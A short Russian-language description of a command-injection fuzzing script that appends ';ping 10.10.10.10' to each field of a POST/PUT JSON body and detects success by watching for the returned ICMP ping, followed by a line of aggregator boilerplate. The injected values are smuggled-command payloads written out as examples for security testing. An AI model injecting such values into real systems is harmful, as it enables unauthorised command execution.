Этот скрипт фаззит на наличие уязвимостей Command Injection, приводящих к удаленному выполнению команд.
Подобные уязвимости OWASP объясняются здесь -->
Скрипт попытается выполнить команды ОС, внедряя их в каждое значение в теле POST/PUT.
Обнаружение выполнения требует другого инструмента, например, прослушивания веб/ICMP трафика или наблюдения за каталогом в целевой ОС и т.д.
Например, если скрипт обнаруживает, что пользователь выполнил один POST с телом, установленным в {"webfunction": "settime", "hour": "10", "minute": "00"}
{"webfunction": "settime", "hour": "10", "minute": "00"}
{"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"}
{"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"}
{"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"}
5) Очищающий POST для возврата переменных к исходному значению
{"webfunction": "settime", "hour": "10", "minute": "00"}
Если полезная нагрузка была выполнена, злоумышленник получит ICMP ping-пакет. В этом примере веб-приложение уязвимо к внедрению/выполнению команд через установку системного времени.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
